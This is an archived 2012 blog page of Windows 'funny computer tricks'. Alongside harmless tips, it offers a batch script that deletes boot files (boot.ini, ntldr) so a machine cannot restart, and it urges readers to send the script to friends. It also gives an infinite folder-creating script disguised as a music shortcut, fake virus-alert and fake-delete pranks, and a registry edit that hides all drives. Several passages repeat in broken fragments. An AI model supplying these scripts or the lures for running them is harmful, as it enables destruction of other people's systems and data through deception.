Showing posts with label Funny Computer Tricks. Show all posts
Showing posts with label Funny Computer Tricks. Show all posts
7 Tricks That Can Improve Your PC Performance
Wednesday, May 02, 2012
Posted by Priya Yadav
1. Open applications with ease
I want to launch programs in Windows 7 without lifting your hands from the keyboard? You can open any application on your computer by pressing the Windows key and typing the first letters of the name of the application (CHR for Google Chrome, it to iTunes, and so on), then press Enter. You can also press the Windows + 1 to open an application hang on your taskbar, and Windows + 2 to open the second application, and so on.
Six Windows 7 nightmares (and how to fix it)
2. Disk in the Control Panel Windows automatic
I wonder why DVD-Movies automatically start playing when you pop them in your computer? It is controlled by the automatic windows. Go to Control Panel, automatic, and you can tell Windows exactly what you want to do every time you insert a CD or DVD-ROM components, in camera or smart phone, and so on.3. Disable automatic window management
By default, Windows 7 automatically resizes open windows when you drag it to the edge of the screen. Drag a window on one side of the screen and the “dock” there while resizing to fill half the screen, and drag it to the top of the frame to make this screen enter full, and so on. May be convenient, but they can also be boring. You can disable it by going to Control Panel, Ease of Access, click Make the mouse easier to use and clear to prevent Windows from automatically arranged when moved to the edge of the screen and click OK.Access Internet Through Paint
Sunday, April 29, 2012
Posted by Priya Yadav
If you are having some problem with your Browser, or your browser gets infected of malware, etc.. and you need to access a webpage urgently but you are not able to access your browser than what?
There is an another tip or way you can access internet that is with the help of Paint. To access internet using paint-
1. Open paint by going to start > accessories > Paint or by typing mspaint in run.
2. Once you open paint press F1
3. Now place your mouse curser on the yellow question mark and rigth click it and click "Jump to URL"
Solitare Win Win
Saturday, March 24, 2012
Posted by Priya Yadav
Force Solitare to win by a hack. Here’s how: Open sol.exe located in C:\Windows\System32\ using Resource Hacker. Expand String Table > 64 > 1033 in the left pane. Notice a line in the right pane saying 1010, “Force a win”. Use these numbers to enable the Easter Egg. Now expand Menu > 1 > 1033. Create a menu by typing the following just before the last closing brace:
POPUP “&Easter Egg”
{
MENUITEM "&Egg 1", 1008
MENUITEM "&Egg 2", 1009
MENUITEM "&Egg 3", 1010
}
Now, click the Compile Script button. Next, go to File > Save and save it in the original location, i.e., C:\Windows\System32\sol.exe. Also, replace sol.exe in the C:\Windows\System32\dllcache folder.
Now, a new menu Easter Egg appears with Egg 1, Egg 2 and Egg 3 as options. Click Egg 3 to force a win.
POPUP “&Easter Egg”
{
MENUITEM "&Egg 1", 1008
MENUITEM "&Egg 2", 1009
MENUITEM "&Egg 3", 1010
}
Now, click the Compile Script button. Next, go to File > Save and save it in the original location, i.e., C:\Windows\System32\sol.exe. Also, replace sol.exe in the C:\Windows\System32\dllcache folder.
Now, a new menu Easter Egg appears with Egg 1, Egg 2 and Egg 3 as options. Click Egg 3 to force a win.
Trick to Make over 1,000 folders in few seconds
Thursday, March 22, 2012
Posted by Priya Yadav
Here I will teach you a simple prank that will make an unlimited amount of folders in any place you want.

1. Open notepad and type :
@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creates folders with random names.
goto top – return to label :top, infinite loop.
2. Save it as 1000folders.bat
3. After that you will get icon that looks as show below:
People probably are not gonna click on an icon that looks like this picture, so to make it better (funnier and easier to prank people with) make a short-cut to it.
4. Right click on icon and click Create Shortcut.

5. Right click on shortcut and click properties , then click on Change Icon and rename icon.

Tell the person that you found the music they wanted and downloaded it on their computer. That way, they will think its a shortcut to the music and they will click on it. Then, they will think its loading so they won’t exit right away but when they finally realize its not going to load it will be to late. Its impossible to delete them using cmd you have to find all of them and delete them manually…

1. Open notepad and type :
@echo off
:top
md %random%
goto top @echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creates folders with random names.
goto top – return to label :top, infinite loop.
2. Save it as 1000folders.bat
3. After that you will get icon that looks as show below:
People probably are not gonna click on an icon that looks like this picture, so to make it better (funnier and easier to prank people with) make a short-cut to it.4. Right click on icon and click Create Shortcut.

5. Right click on shortcut and click properties , then click on Change Icon and rename icon.
Tell the person that you found the music they wanted and downloaded it on their computer. That way, they will think its a shortcut to the music and they will click on it. Then, they will think its loading so they won’t exit right away but when they finally realize its not going to load it will be to late. Its impossible to delete them using cmd you have to find all of them and delete them manually…
A Computer Tricks to Shut Down a Computer Forever
Thursday, March 22, 2012
Posted by Priya Yadav
Open notepad and copy/paste this code:
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Now Save it as a .bat file.
This would shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.
Send it to your friends computer and tell them to open it. Have fun!!
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Now Save it as a .bat file.
This would shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.
* USe at your own risk
REMEMBER – DO NOT CLICK THIS FILE. YOU WON’T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!Send it to your friends computer and tell them to open it. Have fun!!
Shake Your Computer
Thursday, March 22, 2012
Posted by Priya Yadav
Funny Computer Trick
Check out these funny trick.
- Copy and paste the java script code to the address bar of your browser javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i–) {for (j = n; j > 0; j–) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)
2: Press enter and watch your window’s “shaking it”. You can change the value of i if you wish
Make your Computer Speak whatever you type.
Tuesday, March 20, 2012
Posted by Priya Yadav
This is an amazing trick to amaze your friends.By using this trick you can make your computer to speak whatever you type.This trick is working on all microsoft operating system and does not require any programming skills.You have to follow just simple steps and your own Text to Voice software will be ready.If you show this software to any of your friends he will be certainly impressed with you .
Ok, the trick is fairly simple and requires only 2 simple steps from your side.Let’s Begin the tutorial to Make Your Computer Speak Whatever You Type
here is a trick to convert your
TEXT to VOICE without any
software.
Steps are :
1) Go to Start > Run
2) Type : Control speech
Write any Text and then click on "Preview Voice" and it will be converted to voice.
I hope you enjoyed this trick
DISPLAY MESSAGE ON STARTUP
Tuesday, March 20, 2012
Posted by Priya Yadav
Open Run & type regedit
Go to HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windo ws NT / CurrentVersion / Winlogon.
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say.
Restart and Enjoy!
Go to HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windo
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say.
Restart and Enjoy!
Browser Shaking
Tuesday, March 20, 2012
Posted by Priya Yadav
This is a fun little trick that can create a shaking screen on your web browser (i.e. Internet Explorer, etc..)
The trick is simply a small Java Script that causes your browser window to move to different positions, causing a shake of your entire screen. It's kind of cool to watch and see what Java Script can do! Try it out..
Use this trick at your own risk.
Here's how:
Copy this entire line and paste it onto your address box, then press Enter:

The trick is simply a small Java Script that causes your browser window to move to different positions, causing a shake of your entire screen. It's kind of cool to watch and see what Java Script can do! Try it out..
Use this trick at your own risk.
Here's how:
Copy this entire line and paste it onto your address box, then press Enter:
javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

Hide ur drives
Thursday, March 15, 2012
Posted by Priya Yadav
How to Hide the drives(c:,d:,e:,a:...etc)
This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.
1.Go to start->run.Type regedit.Now go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer.
So, now when you click on My Computer, no drives will be shown(all gone...).
To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....
This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.
1.Go to start->run.Type regedit.Now go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer.
So, now when you click on My Computer, no drives will be shown(all gone...).
To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....
How to scare your friends
Wednesday, March 14, 2012
Posted by Priya Yadav
Step 1. Open up notepad
Step 2. Type
lol=msgbox("Whatever you want message to say",20,"Whatever you want the window to be titled")
Ex:
lol=msgbox("Warning your computer has been infected by a virus ",20,"Virus Alert")
Step 3. Save the text as Whateveryouwant.vbs
The number 20 represents the type of window style the message will be in. You can experiment with different styles you want.
Step 2. Type
lol=msgbox("Whatever you want message to say",20,"Whatever you want the window to be titled")
Ex:
lol=msgbox("Warning your computer has been infected by a virus ",20,"Virus Alert")
Step 3. Save the text as Whateveryouwant.vbs
Displaying a Text Notice before Logon
Wednesday, March 14, 2012
Posted by Priya Yadav
You can create a funny message or legal warnings for others just before logon to your computer. This is very useful if you want to give a message to new user about the use of computer. Edit the value of registry keys to create a banner message.
Click Start button then type regedit in Run option then press Enter for next.
Here locate the location to:
HKeyLocalMachine>SOFTWARE>Microsoft>Windows>CurrentVersion>Win Logon
Here in right side panel, right click to create a new string value LegalNoticeCaption and give it a value you want to see in the menu bar
Now again right click to create a new string value called LegalNoticeText and change the value you want to see in the dialog box
Now close the registry editor and restart your computer after any changes to go into effect.
Click Start button then type regedit in Run option then press Enter for next.
Here locate the location to:
HKeyLocalMachine>SOFTWARE>Microsoft>Windows>CurrentVersion>Win Logon
Here in right side panel, right click to create a new string value LegalNoticeCaption and give it a value you want to see in the menu bar
Now again right click to create a new string value called LegalNoticeText and change the value you want to see in the dialog box
Now close the registry editor and restart your computer after any changes to go into effect.
How to Delete Friend’s Hard Disk -Fakely
Tuesday, March 13, 2012
Posted by Priya Yadav
Here is a funny trick which you will find amazing and frighten your friend with this prank.
1)Download Fake delete.zip and unzip the files.
2)Now open the folder and open the file fakedel.exe. You can see that the deleting seems so realistic. But this is just fake and nothing happens to your computer.
3)Now rename this file with xyz.exe and paste this file on your friend’s desktop or Email it to him/her with some interesting message so that he/she will curiously open the file.
To Stop Fakedel.exe go to Taskbar > TaskManager > fakedel.exe > End Process
1)Download Fake delete.zip and unzip the files.
2)Now open the folder and open the file fakedel.exe. You can see that the deleting seems so realistic. But this is just fake and nothing happens to your computer.
3)Now rename this file with xyz.exe and paste this file on your friend’s desktop or Email it to him/her with some interesting message so that he/she will curiously open the file.
To Stop Fakedel.exe go to Taskbar > TaskManager > fakedel.exe > End Process
Funny javascript trick ;)
Tuesday, March 13, 2012
Posted by Priya Yadav
Copy the below code in web browser address bar and press enter
You’ll see that your browser shaking :) (in some browsers it will not work)
javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)
You’ll see that your browser shaking :) (in some browsers it will not work)
The “Keyboard not present” computer trick
Tuesday, March 13, 2012
Posted by Priya Yadav
ust look in the back of your PC unit, find the mouse and the keyboard and simply switch their places. This way, when a person boots the computer, it will show an error message, telling him that no keyboard is present. But strangely, the wires aren’t ripped out…
(This only works on PS/2 keyboards & mice)
(This only works on PS/2 keyboards & mice)
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